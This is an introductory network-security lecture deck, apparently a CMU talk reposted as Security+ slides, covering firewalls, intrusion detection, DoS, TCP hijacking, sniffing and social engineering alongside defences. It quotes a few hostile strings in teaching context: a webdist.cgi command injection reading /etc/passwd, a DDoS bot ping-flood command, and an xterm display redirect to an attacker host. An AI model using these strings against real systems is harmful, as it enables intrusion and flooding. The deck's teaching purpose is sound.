The document outlines an overview of network security topics including access control. It discusses definitions of security, why security is needed, who is vulnerable, and common security attacks and countermeasures such as firewalls and intrusion detection systems. Specific attacks covered include denial of service attacks, TCP attacks, packet sniffing, and social engineering problems.

1. 1
Part 2  Access Control 1Security+ Guide to Network Security Fundamentals, Third Edition
1
11
1 1 tohttps://github.com/syaifulahdan/
INFORMATION SECURITY
Network Security
 Overview
 What is Security
 Why do we Need Security
 Who is Vulnerable
 Common Security attack and there
countermeasure
 Firewalls
 Intrussion Detection
 Dictionary Attack
 Denial of Service
 TCP Attacks
 Five Minute Break
 Packet Sniffing
 Social Problems
 Conclusion
• Justin Weisz
• jweisz@andrew.cmu.edu

2. 2
Part 2  Access Control 2Security+ Guide to Network Security Fundamentals, Third Edition
2
22
2 2 tohttps://github.com/syaifulahdan/
2
A Brief History of the World

3. 3
Part 2  Access Control 3Security+ Guide to Network Security Fundamentals, Third Edition
3
33
3 3 tohttps://github.com/syaifulahdan/
3
Overview
• What is security?
• Why do we need security?
• Who is vulnerable?
• Common security attacks and countermeasures
– Firewalls & Intrusion Detection Systems
– Denial of Service Attacks
– TCP Attacks
– Packet Sniffing
– Social Problems

4. 4
Part 2  Access Control 4Security+ Guide to Network Security Fundamentals, Third Edition
4
44
4 4 tohttps://github.com/syaifulahdan/
4
What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.

5. 5
Part 2  Access Control 5Security+ Guide to Network Security Fundamentals, Third Edition
5
55
5 5 tohttps://github.com/syaifulahdan/
5
What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.

6. 6
Part 2  Access Control 6Security+ Guide to Network Security Fundamentals, Third Edition
6
66
6 6 tohttps://github.com/syaifulahdan/
6
What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.

7. 7
Part 2  Access Control 7Security+ Guide to Network Security Fundamentals, Third Edition
7
77
7 7 tohttps://github.com/syaifulahdan/
7
What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.

8. 8
Part 2  Access Control 8Security+ Guide to Network Security Fundamentals, Third Edition
8
88
8 8 tohttps://github.com/syaifulahdan/
8
Why do we need security?
• Protect vital information while still allowing
access to those who need it
– Trade secrets, medical records, etc.
• Provide authentication and access control for
resources
– Ex: AFS
• Guarantee availability of resources
– Ex: 5 9’s (99.999% reliability)

9. 9
Part 2  Access Control 9Security+ Guide to Network Security Fundamentals, Third Edition
9
99
9 9 tohttps://github.com/syaifulahdan/
9
Who is vulnerable?
• Financial institutions and banks
• Internet service providers
• Pharmaceutical companies
• Government and defense agencies
• Contractors to various government agencies
• Multinational corporations
• ANYONE ON THE NETWORK

10. 10
Part 2  Access Control 10Security+ Guide to Network Security Fundamentals, Third Edition
10
1010
10 10 tohttps://github.com/syaifulahdan/
10
Common security attacks and
their countermeasures
• Finding a way into the network
– Firewalls
• Exploiting software bugs, buffer overflows
– Intrusion Detection Systems
• Denial of Service
– Ingress filtering, IDS
• TCP hijacking
– IPSec
• Packet sniffing
– Encryption (SSH, SSL, HTTPS)
• Social problems
– Education

11. 11
Part 2  Access Control 11Security+ Guide to Network Security Fundamentals, Third Edition
11
1111
11 11 tohttps://github.com/syaifulahdan/
11
Firewalls
• Basic problem – many network applications
and protocols have security problems that
are fixed over time
– Difficult for users to keep up with changes and
keep host secure
– Solution
• Administrators limit access to end hosts by using a
firewall
• Firewall is kept up-to-date by administrators

12. 12
Part 2  Access Control 12Security+ Guide to Network Security Fundamentals, Third Edition
12
1212
12 12 tohttps://github.com/syaifulahdan/
12
Firewalls
• A firewall is like a castle with a drawbridge
– Only one point of access into the network
– This can be good or bad
• Can be hardware or software
– Ex. Some routers come with firewall functionality
– ipfw, ipchains, pf on Unix systems, Windows XP
and Mac OS X have built in firewalls

13. 13
Part 2  Access Control 13Security+ Guide to Network Security Fundamentals, Third Edition
13
1313
13 13 tohttps://github.com/syaifulahdan/
13
Firewalls
Intranet
DMZInternet
Firewall
Firewall
Web server, email
server, web proxy,
etc

14. 14
Part 2  Access Control 14Security+ Guide to Network Security Fundamentals, Third Edition
14
1414
14 14 tohttps://github.com/syaifulahdan/
14
Firewalls
• Used to filter packets based on a combination of
features
– These are called packet filtering firewalls
• There are other types too, but they will not be discussed
– Ex. Drop packets with destination port of 23 (Telnet)
– Can use any combination of IP/UDP/TCP header
information
– man ipfw on unix47 for much more detail
• But why don’t we just turn Telnet off?

15. 15
Part 2  Access Control 15Security+ Guide to Network Security Fundamentals, Third Edition
15
1515
15 15 tohttps://github.com/syaifulahdan/
15
Firewalls
• Here is what a computer with a default
Windows XP install looks like:
– 135/tcp open loc-srv
– 139/tcp open netbios-ssn
– 445/tcp open microsoft-ds
– 1025/tcp open NFS-or-IIS
– 3389/tcp open ms-term-serv
– 5000/tcp open UPnP
• Might need some of these services, or might
not be able to control all the machines on the
network

16. 16
Part 2  Access Control 16Security+ Guide to Network Security Fundamentals, Third Edition
16
1616
16 16 tohttps://github.com/syaifulahdan/
16
Firewalls
• What does a firewall rule look like?
– Depends on the firewall used
• Example: ipfw
– /sbin/ipfw add deny tcp from cracker.evil.org to
wolf.tambov.su telnet
• Other examples: WinXP & Mac OS X have
built in and third party firewalls
– Different graphical user interfaces
– Varying amounts of complexity and power

17. 17
Part 2  Access Control 17Security+ Guide to Network Security Fundamentals, Third Edition
17
1717
17 17 tohttps://github.com/syaifulahdan/
17
Intrusion Detection
• Used to monitor for “suspicious activity” on a
network
– Can protect against known software exploits, like
buffer overflows
• Open Source IDS: Snort, www.snort.org

18. 18
Part 2  Access Control 18Security+ Guide to Network Security Fundamentals, Third Edition
18
1818
18 18 tohttps://github.com/syaifulahdan/
18
Intrusion Detection
• Uses “intrusion signatures”
– Well known patterns of behavior
• Ping sweeps, port scanning, web server indexing, OS
fingerprinting, DoS attempts, etc.
• Example
– IRIX vulnerability in webdist.cgi
– Can make a rule to drop packets containing the line
• “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”
• However, IDS is only useful if contingency plans are
in place to curb attacks as they are occurring

19. 19
Part 2  Access Control 19Security+ Guide to Network Security Fundamentals, Third Edition
19
1919
19 19 tohttps://github.com/syaifulahdan/
19
Minor Detour…
• Say we got the /etc/passwd file from the IRIX
server
• What can we do with it?

20. 20
Part 2  Access Control 20Security+ Guide to Network Security Fundamentals, Third Edition
20
2020
20 20 tohttps://github.com/syaifulahdan/
20
Dictionary Attack
• We can run a dictionary attack on the passwords
– The passwords in /etc/passwd are encrypted with the
crypt(3) function (one-way hash)
– Can take a dictionary of words, crypt() them all, and
compare with the hashed passwords
• This is why your passwords should be meaningless
random junk!
– For example, “sdfo839f” is a good password
• That is not my andrew password
• Please don’t try it either

21. 21
Part 2  Access Control 21Security+ Guide to Network Security Fundamentals, Third Edition
21
2121
21 21 tohttps://github.com/syaifulahdan/
21
Denial of Service
• Purpose: Make a network service unusable,
usually by overloading the server or network
• Many different kinds of DoS attacks
– SYN flooding
– SMURF
– Distributed attacks
– Mini Case Study: Code-Red

22. 22
Part 2  Access Control 22Security+ Guide to Network Security Fundamentals, Third Edition
22
2222
22 22 tohttps://github.com/syaifulahdan/
22
Denial of Service
• SYN flooding attack
• Send SYN packets with bogus source address
– Why?
• Server responds with SYN ACK and keeps state
about TCP half-open connection
– Eventually, server memory is exhausted with this state
• Solution: use “SYN cookies”
– In response to a SYN, create a special “cookie” for the
connection, and forget everything else
– Then, can recreate the forgotten information when the
ACK comes in from a legitimate connection

23. 23
Part 2  Access Control 23Security+ Guide to Network Security Fundamentals, Third Edition
23
2323
23 23 tohttps://github.com/syaifulahdan/
23
Denial of Service

24. 24
Part 2  Access Control 24Security+ Guide to Network Security Fundamentals, Third Edition
24
2424
24 24 tohttps://github.com/syaifulahdan/
24
Denial of Service
• SMURF
– Source IP address of a broadcast ping is forged
– Large number of machines respond back to
victim, overloading it

25. 25
Part 2  Access Control 25Security+ Guide to Network Security Fundamentals, Third Edition
25
2525
25 25 tohttps://github.com/syaifulahdan/
25
Denial of Service

26. 26
Part 2  Access Control 26Security+ Guide to Network Security Fundamentals, Third Edition
26
2626
26 26 tohttps://github.com/syaifulahdan/
26
Denial of Service
• Distributed Denial of Service
– Same techniques as regular DoS, but on a much larger
scale
– Example: Sub7Server Trojan and IRC bots
• Infect a large number of machines with a “zombie” program
• Zombie program logs into an IRC channel and awaits commands
• Example:
– Bot command: !p4 207.71.92.193
– Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
– Sends 10,000 64k packets to the host (655MB!)
• Read more at: http://grc.com/dos/grcdos.htm

27. 27
Part 2  Access Control 27Security+ Guide to Network Security Fundamentals, Third Edition
27
2727
27 27 tohttps://github.com/syaifulahdan/
27
Denial of Service
• Mini Case Study – CodeRed
– July 19, 2001: over 359,000 computers infected
with Code-Red in less than 14 hours
– Used a recently known buffer exploit in Microsoft
IIS
– Damages estimated in excess of $2.6 billion

28. 28
Part 2  Access Control 28Security+ Guide to Network Security Fundamentals, Third Edition
28
2828
28 28 tohttps://github.com/syaifulahdan/
28
Denial of Service
• Why is this under the Denial of Service
category?
– CodeRed launched a DDOS attack against
www1.whitehouse.gov from the 20th to the 28th
of every month!
– Spent the rest of its time infecting other hosts

29. 29
Part 2  Access Control 29Security+ Guide to Network Security Fundamentals, Third Edition
29
2929
29 29 tohttps://github.com/syaifulahdan/
29
Denial of Service
• How can we protect ourselves?
– Ingress filtering
• If the source IP of a packet comes in on an interface
which does not have a route to that packet, then drop
it
• RFC 2267 has more information about this
– Stay on top of CERT advisories and the latest
security patches
• A fix for the IIS buffer overflow was released sixteen
days before CodeRed had been deployed!

30. 30
Part 2  Access Control 30Security+ Guide to Network Security Fundamentals, Third Edition
30
3030
30 30 tohttps://github.com/syaifulahdan/
30
TCP Attacks
• Recall how IP works…
– End hosts create IP packets and routers process
them purely based on destination address alone
• Problem: End hosts may lie about other fields
which do not affect delivery
– Source address – host may trick destination into
believing that the packet is from a trusted source
• Especially applications which use IP addresses as a
simple authentication method
• Solution – use better authentication methods

31. 31
Part 2  Access Control 31Security+ Guide to Network Security Fundamentals, Third Edition
31
3131
31 31 tohttps://github.com/syaifulahdan/
31
TCP Attacks
• TCP connections have associated state
– Starting sequence numbers, port numbers
• Problem – what if an attacker learns these
values?
– Port numbers are sometimes well known to begin
with (ex. HTTP uses port 80)
– Sequence numbers are sometimes chosen in
very predictable ways

32. 32
Part 2  Access Control 32Security+ Guide to Network Security Fundamentals, Third Edition
32
3232
32 32 tohttps://github.com/syaifulahdan/
32
TCP Attacks
• If an attacker learns the associated TCP
state for the connection, then the connection
can be hijacked!
• Attacker can insert malicious data into the
TCP stream, and the recipient will believe it
came from the original source
– Ex. Instead of downloading and running new
program, you download a virus and execute it

33. 33
Part 2  Access Control 33Security+ Guide to Network Security Fundamentals, Third Edition
33
3333
33 33 tohttps://github.com/syaifulahdan/
33
TCP Attacks
• Say hello to Alice, Bob and Mr. Big Ears

34. 34
Part 2  Access Control 34Security+ Guide to Network Security Fundamentals, Third Edition
34
3434
34 34 tohttps://github.com/syaifulahdan/
34
TCP Attacks
• Alice and Bob have an established TCP
connection

35. 35
Part 2  Access Control 35Security+ Guide to Network Security Fundamentals, Third Edition
35
3535
35 35 tohttps://github.com/syaifulahdan/
35
TCP Attacks
• Mr. Big Ears lies on the path between Alice
and Bob on the network
– He can intercept all of their packets

36. 36
Part 2  Access Control 36Security+ Guide to Network Security Fundamentals, Third Edition
36
3636
36 36 tohttps://github.com/syaifulahdan/
36
TCP Attacks
• First, Mr. Big Ears must drop all of Alice’s
packets since they must not be delivered to
Bob (why?)
Packets
The Void

37. 37
Part 2  Access Control 37Security+ Guide to Network Security Fundamentals, Third Edition
37
3737
37 37 tohttps://github.com/syaifulahdan/
37
TCP Attacks
• Then, Mr. Big Ears sends his malicious
packet with the next ISN (sniffed from the
network)
ISN, SRC=Alice

38. 38
Part 2  Access Control 38Security+ Guide to Network Security Fundamentals, Third Edition
38
3838
38 38 tohttps://github.com/syaifulahdan/
38
TCP Attacks
• What if Mr. Big Ears is unable to sniff the
packets between Alice and Bob?
– Can just DoS Alice instead of dropping her
packets
– Can just send guesses of what the ISN is until it
is accepted
• How do you know when the ISN is accepted?
– Mitnick: payload is “add self to .rhosts”
– Or, “xterm -display MrBigEars:0”

39. 39
Part 2  Access Control 39Security+ Guide to Network Security Fundamentals, Third Edition
39
3939
39 39 tohttps://github.com/syaifulahdan/
39
TCP Attacks
• Why are these types of TCP attacks so
dangerous?
Web server
Malicious user
Trusting web client

40. 40
Part 2  Access Control 40Security+ Guide to Network Security Fundamentals, Third Edition
40
4040
40 40 tohttps://github.com/syaifulahdan/
40
TCP Attacks
• How do we prevent this?
• IPSec
– Provides source authentication, so Mr. Big Ears
cannot pretend to be Alice
– Encrypts data before transport, so Mr. Big Ears
cannot talk to Bob without knowing what the
session key is

41. 41
Part 2  Access Control 41Security+ Guide to Network Security Fundamentals, Third Edition
41
4141
41 41 tohttps://github.com/syaifulahdan/
41
Five Minute Break
• For your enjoyment, here is something
completely unrelated to this lecture:

42. 42
Part 2  Access Control 42Security+ Guide to Network Security Fundamentals, Third Edition
42
4242
42 42 tohttps://github.com/syaifulahdan/
42
Packet Sniffing
• Recall how Ethernet works …
• When someone wants to send a packet to
some else …
• They put the bits on the wire with the
destination MAC address …
• And remember that other hosts are listening
on the wire to detect for collisions …
• It couldn’t get any easier to figure out what
data is being transmitted over the network!

43. 43
Part 2  Access Control 43Security+ Guide to Network Security Fundamentals, Third Edition
43
4343
43 43 tohttps://github.com/syaifulahdan/
43
Packet Sniffing
• This works for wireless too!
• In fact, it works for any broadcast-based
medium

44. 44
Part 2  Access Control 44Security+ Guide to Network Security Fundamentals, Third Edition
44
4444
44 44 tohttps://github.com/syaifulahdan/
44
Packet Sniffing
• What kinds of data can we get?
• Asked another way, what kind of information
would be most useful to a malicious user?
• Answer: Anything in plain text
– Passwords are the most popular

45. 45
Part 2  Access Control 45Security+ Guide to Network Security Fundamentals, Third Edition
45
4545
45 45 tohttps://github.com/syaifulahdan/
45
Packet Sniffing
• How can we protect ourselves?
• SSH, not Telnet
– Many people at CMU still use Telnet and send their password in the
clear (use PuTTY instead!)
– Now that I have told you this, please do not exploit this information
– Packet sniffing is, by the way, prohibited by Computing Services
• HTTP over SSL
– Especially when making purchases with credit cards!
• SFTP, not FTP
– Unless you really don’t care about the password or data
– Can also use KerbFTP (download from MyAndrew)
• IPSec
– Provides network-layer confidentiality

46. 46
Part 2  Access Control 46Security+ Guide to Network Security Fundamentals, Third Edition
46
4646
46 46 tohttps://github.com/syaifulahdan/
46
Social Problems
• People can be just as dangerous as
unprotected computer systems
– People can be lied to, manipulated, bribed,
threatened, harmed, tortured, etc. to give up
valuable information
– Most humans will breakdown once they are at
the “harmed” stage, unless they have been
specially trained
• Think government here…

47. 47
Part 2  Access Control 47Security+ Guide to Network Security Fundamentals, Third Edition
47
4747
47 47 tohttps://github.com/syaifulahdan/
47
Social Problems
• Fun Example 1:
– “Hi, I’m your AT&T rep, I’m stuck on a pole. I
need you to punch a bunch of buttons for me”

48. 48
Part 2  Access Control 48Security+ Guide to Network Security Fundamentals, Third Edition
48
4848
48 48 tohttps://github.com/syaifulahdan/
48
Social Problems
• Fun Example 2:
– Someone calls you in the middle of the night
• “Have you been calling Egypt for the last six hours?”
• “No”
• “Well, we have a call that’s actually active right now,
it’s on your calling card and it’s to Egypt and as a
matter of fact, you’ve got about $2000 worth of
charges on your card and … read off your AT&T card
number and PIN and then I’ll get rid of the charge for
you”

49. 49
Part 2  Access Control 49Security+ Guide to Network Security Fundamentals, Third Edition
49
4949
49 49 tohttps://github.com/syaifulahdan/
49
Social Problems
• Fun Example 3:
– Who saw Office Space?
– In the movie, the three disgruntled employees
installed a money-stealing worm onto the
companies systems
– They did this from inside the company, where
they had full access to the companies systems
• What security techniques can we use to prevent this
type of access?

50. 50
Part 2  Access Control 50Security+ Guide to Network Security Fundamentals, Third Edition
50
5050
50 50 tohttps://github.com/syaifulahdan/
50
Social Problems
• There aren’t always solutions to all of these problems
– Humans will continue to be tricked into giving out information they
shouldn’t
– Educating them may help a little here, but, depending on how bad
you want the information, there are a lot of bad things you can do to
get it
• So, the best that can be done is to implement a wide variety
of solutions and more closely monitor who has access to
what network resources and information
– But, this solution is still not perfect

51. 51
Part 2  Access Control 51Security+ Guide to Network Security Fundamentals, Third Edition
51
5151
51 51 tohttps://github.com/syaifulahdan/
51
Conclusions
• The Internet works only because we implicitly
trust one another
• It is very easy to exploit this trust
• The same holds true for software
• It is important to stay on top of the latest
CERT security advisories to know how to
patch any security holes

52. 52
Part 2  Access Control 52Security+ Guide to Network Security Fundamentals, Third Edition
52
5252
52 52 tohttps://github.com/syaifulahdan/
52
Security related URLs
• http://www.robertgraham.com/pubs/network-
intrusion-detection.html
• http://online.securityfocus.com/infocus/1527
• http://www.snort.org/
• http://www.cert.org/
• http://www.nmap.org/
• http://grc.com/dos/grcdos.htm
• http://lcamtuf.coredump.cx/newtcp/